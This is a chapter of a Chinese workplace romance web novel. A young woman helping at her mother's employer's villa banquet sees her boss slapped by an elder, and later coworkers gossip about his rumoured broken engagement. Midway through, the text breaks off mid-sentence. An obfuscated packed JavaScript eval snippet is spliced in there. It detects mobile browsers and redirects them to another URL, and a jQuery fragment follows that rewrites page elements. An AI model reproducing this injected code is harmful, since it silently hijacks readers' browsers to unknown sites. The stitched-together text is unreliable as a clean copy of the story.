要说别墅区,最让应寒栀诟病的一点就是交通不便,哪怕是繁华闹市区的别墅,没有私家车,你通过公共交通也无法直接到达家门口。
出租车一律不让进,非业主的访客车需要提前预约,外卖只能送到指定地点让业主自己拿或者派管家、保姆来取……总之,烦人的规矩一堆。
以前来这儿,应寒栀都是一身休闲服加运动鞋,今天下班直接从单位过来,脚上还穿着带跟的皮鞋,走这一路更加是怨念深重。
不过她心里也清楚,别墅区并不为她这样的人群服务,所以设计的种种规矩都不是以她的感受为主的,她认为的麻烦恰恰是业主们需要的安全感和私密性。
希望就在前方,还有五百米就能到达目的地取得胜利,但是应寒栀的后脚跟已经磨破了皮,每走一步,都是锥心的疼。
顾不得形象了,她索性脱了鞋用手拎着赤脚在路上继续走。
狼狈是真狼狈,难看也是真难看,应寒栀一边走还一边在脑洞大开:这不是妥妥的偶像剧女主梗?按照霸总标配的俗套剧情,下一幕男主便会开着豪车出现载她这个可怜的女主角一程。
然而脑海里的剧情还没走完,下一秒现实的孽缘“男主”出现了………
车不是什么豪车。
一辆黑色大众车行驶在她身后,车灯陡然照亮路面,应寒栀自觉靠边站着让路。
黑车经过她的时候车速放缓,似乎有意要停下。伴随着车窗缓缓下降,应寒栀赫然看见郁士文的侧脸。
靠,怕什么来什么,这缘分……没谁了。
“郁主任好。”应寒栀拎着高跟鞋,双手背在身后掩饰窘态,笑得人畜无害。
“需要载你一程吗?”郁士文开口询问,礼貌且有风度。
应寒栀摇摇头:“谢谢郁主任,不用麻烦您,我自己抄近路一会儿就到。”
“好,那你靠边行走,注意安全。”郁士文闻言没再继续强求,油门一踩绝尘而去,尾灯消失的速度那叫一个快,似乎显着刚才的好意也都只是出于礼节性问询,而非真想解某人之困。
应寒栀严重怀疑,他只是嫌弃她挡路。
忍着脚上疼痛,又走了好一会功夫,应寒栀终于抵达郁家别墅的侧门——那是保姆、司机等工作人员出入的通道,也是她自觉不去跨越的界限。
回到母亲所住的家政间,应寒栀迅速换上轻便衣物,开始轻车熟路地帮忙打点今晚的家宴。
今天这家宴阵仗着实不小,请了一个二十多人私厨团队不说,还有现场古乐演奏和中式茶艺展示,难怪母亲要她回来帮忙。
郁家平时除了司机和保镖,正常就应母一个住家保姆,其余全是请小时工,且都不直接与郁女士对接沟通。郁女士不喜欢用生人,也不喜欢不熟悉的面孔进入别墅的主客区域。这么多年,用得惯的人,也就应母一个。
应寒栀算是一个特例,虽然是个外人,但也能做一做路上传菜、衔接指引这些小事情。毕竟曾经有过一段顶替应母照顾郁女士的经历,所以郁女士对应寒栀这个小姑娘,谈不上多喜欢,至少不反感,不然也不会默许她偶尔来这边帮忙。
晚上七点半,估摸着里面的家宴开始动筷了,应寒栀忙完手头事情,赶紧抽空回保姆厨房间扒拉一口晚饭。
还没吃几口,就见应母匆匆回来,脸色有些不好:“你叫几个人去把餐厅和家里都收拾下。
“现在?”应寒栀一脸懵,心想着怎么也不会这么早就结束啊。
“嗯,现在。待会我拿药给郁女士让她服下,然后服侍她先睡。”
“好。”
应寒栀带人来到餐厅的时候,看到眼前景象不由得有些傻眼。摆盘讲究的佳肴几乎未动,散着热气的靓汤显得室内更加冰冷。酒杯碎了好几个,深色大理石地面上一地的碎玻璃渣,一不不留神就能被伤到。
奶白色镂空手工绣花定制的餐布被暗红色酒渍染脏一大块,这餐布听说是限量款,价值不菲先不说,最重要是意义非凡,郁女士每逢欢喜的日子都要人拿出来用,是她最喜欢的一款,旧了也不舍得换掉。
这会儿看样子,这餐布最后多半是洗不出来要进垃圾堆的。
哎,这些有钱人真是喜欢糟蹋粮食,对待家具也是一点都不知道爱护。这顿饭得是吃的多不愉快,才能把这儿弄成这样?
应寒栀腹诽着,轻叹一口气,迅速带人麻利地打扫“战场”。走到窗户边,她不由自主掀开窗帘朝大门那边望了一眼,不看还好,这一看,远处的这惊人一幕让她一时之间都不知该如何自处。
郁士文未有任何躲避,生生挨了一位长者的一记耳光。夜色中,他的背影显得略有些单薄和落寞,腰杆却挺得笔直。
掌掴者那一挥手,掌风之下说一不二的气势,让远处的应寒栀都不自觉有些胆寒……
许是这一巴掌打消了些许怒气,随后,这位动手的长辈没有再继续停留,而是被一位年轻女子安抚着上了一辆黑色轿车。
待轿车驶离后许久,郁士文才缓缓从石径小路上往车库里走。
他冷着一张脸,忽地一个抬头,一双眸子直直射向主楼餐厅落地窗。
应寒栀吓得赶紧拉好窗帘,迅速关灯离开。边走她还边心存侥幸安慰自己:郁士文可能就是走路的时候随意抬头那么一看,并不是发现有人偷看,就算看到了这里有人,也不一定能看得清是谁。
得亏是法治社会,不然撞到顶头上司这种不为人知的糗事,怕是得被灭口。
然而理智的另一面却在提醒她:撞见领导如此私密难堪的一幕,即便不被“灭口”,日后被穿小鞋的可能性却不小。她甚至想发条信息表忠心,声明自己绝不外传,可惜她没有郁士文的私人号码,即便有,也不敢贸然行动,因为说多错多,越描越黑。
最好的处理方法就是不处理,假装什么也没有发生过,她也什么都没看见。
自应寒栀小时候从老家搬来这边第一天,母亲就不停挂在嘴边提醒她:不该说的不说,不该问的不问,不该看的不看,不该做的不做。
这规矩她记得很清楚,也遵守得很好。
所以,直到晚上所有的事情都料理结束,应寒栀都没有多问母亲一句今天发生的情况。
然而,周末好好休整过后,周一去上班的应寒栀,反倒被第一时间科普了更为精彩的八卦版本。你还别说,不得不佩服同事们强大的关系网络,那场面描述得叫一个绘声绘色,有鼻子有眼!故事也有头有尾,形
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572358|187045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成了逻辑闭环。
就是这真实性嘛……存疑。
“你说咱们郁主任是不是太傲气了点,这一把手的主任正牌位置可还没坐上呢,就敢晾着老宋家的千金另觅高枝?”静姐率先起的头,一大早趁着大家冲咖啡泡茶的功夫,唠嗑提提神。
“啥?郁主任不是一直单身的嘛,怎么就突然变成另觅高枝了?”佳佳来了劲,立马加入八卦队伍,“我听说宋可儿眼光可高了,追她的人家世背景几乎都是碾压咱主任的。但咱主任肯定也不是吃素的,有他的一套呢!不然凭啥偏偏看上他了?”
“坊间传闻,这回……咳咳……咱郁主任能上目前这个位置,离不了老宋退休前的力荐。” 静姐压低声音,“原以为会成就一番金玉良缘,哪晓得某些人野心不小,上了位就把人踢了。听说周末闹掰了,有人亲眼看见周五晚上宋可儿在俱乐部借酒消愁。”
“真的假的?”佳佳一脸震惊。
“好多人看见的,还能有假?”
“啧啧啧……”
应寒栀闷不做声,耳朵竖着接收各种信息。
“老宋那种老狐狸,精的要死,他不像是舍得把闺女献给潜力股的那种人。你有没有一种感觉,私下里,有时候老宋对郁主任的姿态放得可低了。”
“莫非真有我们不知道的背景?要不然郁主任怎么敢拒绝宋可儿的?他也不怕人说闲话?他也不怕这一把手位置夜长梦多?”
“哎……再探再报,这瓜不够劲爆。”
……
单位嘛,就是这样的,有人的地方就少不了闲话,每从一个人口中传到另一个人嘴里的话都会被添油加醋一次,最后面目全非也是再正常不过的。
图的就是个乐子,谁还管究竟几分真几分假呢?不过传得越是离谱,她越不担心,因为就算传到正主的耳朵里,也不会有她什么嫌疑,就怕传的细节和她看见的一样,那她估计跳进黄河也洗不清了。
这两人光自己聊还不尽兴,甚至想拉着新来的应寒栀加入:“小应啊,咱聊着玩,你猜郁主任这领导位置能做得安稳吗?你和他汇报工作后第一印象觉得他怎么样?”
私下谈论领导是大忌,应寒栀不傻。她打马虎眼,笑了笑搪塞: “我哪儿能猜得到这些……这几天光是熟悉工作就把我累的够呛。”
佳佳哈哈大笑,心想长得好看的人脑子果然没那么好使,她宽慰开解道:“咱们这些小兵小将的工作哪儿有你说的那么难,放轻松啦,很快就能上手。真正难做的是领导,回头你就知道了,现在所谓的干部年轻化,不服的人多着呢,更何况是在这个地方。”
“这样啊……”应寒栀笑笑,没再往下搭话。
“咳咳咳。”眼尖的静姐看见郁士文进办公室了,急忙干咳几声,她看了看墙上的钟,提醒大家道,“准备下,待会估计要开全员办公会咯。”
应寒栀闻言乖乖从茶水间回工位,落座的一瞬间,她偷偷往领导的办公室方向瞄了一眼。
好死不死,偷瞄被郁士文撞个正着,那边一双犀利的黑眸恰巧在环视下属的情况,应寒栀默默低头,开始翻找自己的笔和本子假装忙碌起来。她一没说他坏话,二没参与他的八卦,但是莫名有点心虚,不知道为什么。